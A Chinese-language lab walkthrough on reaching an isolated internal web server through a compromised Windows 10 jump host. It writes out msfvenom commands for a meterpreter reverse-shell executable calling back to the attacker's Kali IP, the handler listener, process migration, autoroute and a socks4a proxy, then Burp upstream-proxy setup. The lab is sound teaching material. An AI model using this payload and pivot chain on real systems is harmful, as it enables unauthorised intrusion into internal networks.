使用代理访问内网：实验二

 

目录

环境搭建

内网搭建（win2019）

跳板机搭建（win10）

实验步骤

1. win10上线kali

2. 借助msf做代理

3. 在攻击机上做个代理，访问目标网站

4. 使用SocksCap64工具，进行sock4a隧道的连接

5. 启用socksCap64的系统代理

6. 设置burpsuite的上游代理

---

攻击机是本机和kali：192.168.109.139

内网机器Windows server 2019：10.10.10.10 仅主机

跳板机器Windows 10，两张网卡，一张仅主机：10.10.10.20，一张NAT：192.168.109.100

假设当前已经拿到windows10的主机权限，要访问Windows2019的web

环境搭建

添加一个VMware的自定义网卡“VMnet2”

内网搭建（win2019）

这里选自定义的VMnet2

搭建内网的web服务

配置 10.10.10.10的静态IP地址

控制面板——网络和internet——网络和共享中心

打开服务器管理器，点击“添加角色和功能”，下载IIS

一直下一步之后到了下面的页面勾选下载IIS，然后一直下一步安装即可

返回服务器管理器，点击右上角的工具，再点第一个IIS管理器

右击网站，选择添加网站

网站名随便起一个，网站根目录随便选，IP就是刚才设置的静态IP，点击确定

进入到网站根目录，新建一个.txt文件修改名字 为index.html

用记事本打开，随便写一些内容

访问网站

可以看到网站搭建成功

跳板机搭建（win10）

配置2个网卡

• 配置静态IP：10.10.10.20和192.168.109.100
• 自定义VMnet2——10.10.10.20
• nat模式——192.168.109.100

如果是只有一张网卡就再添加一张

添加好之后和前面方法一样

控制面板——网络和internet——网络连接

Ethernet0对应着网卡 自定义VMnet2，配置IP为10.10.10.20

Ethernet1对应着网卡nat模式，配置IP为192.168.109.100（这里网段每个人可能不一样，要看自己的虚拟机的虚拟网络编辑器里NAT模式对应的IP网段）

Ethernet0

Ethernet1

实验步骤

1. win10上线kali

msf生成后门，反连上线

在kali使用msf工具

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.109.139 lport=4455 -f exe > r.exe

木马程序r.exe在kali的家目录下

在kali开启msf监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.109.139
set lport 4455
run

把家目录下的 r.exe 拖到本机桌面，再拖进win10桌面，点击木马程序

会发现kali这边监听成功了

先做进程迁移，防止掉线

ps
migrate 6856		//迁移到vm tools的进程里

2. 借助msf做代理

我们要在跳板机上做个代理，设置一个路由

run autoroute -s 10.10.10.0/24
run autoroute -p

绑定之后，做一个socks代理，使用socks_proxy模块

bg
use auxiliary/server/socks_proxy
set version 4a
run

3. 在攻击机上做个代理，访问目标网站

用Google浏览器代理插件开启代理

访问目标网站

虽然可以访问了，但是我们的burp还是抓不到包的，因为我们的浏览器是走sock4a这条隧道出去的，但是不会走这条隧道回来；

那么，我们就要设置一下上游代理才能做到的包的抓取，让他们进行通信

4. 使用SocksCap64工具，进行sock4a隧道的连接

用管理员身份运行工具

打开程序面板内的浏览器，访问目标机，也是可以访问的到的（如果没有你想用的浏览器，就添加程序，或者把本机浏览器的快捷方式长按拖进程序面板）

5. 启用socksCap64的系统代理

右下角任务栏，右击sockscap，系统代理 --> 启用系统代理

6. 设置burpsuite的上游代理

sockscap的系统代理端口：25378

用浏览器代理插件，再次访问目标网站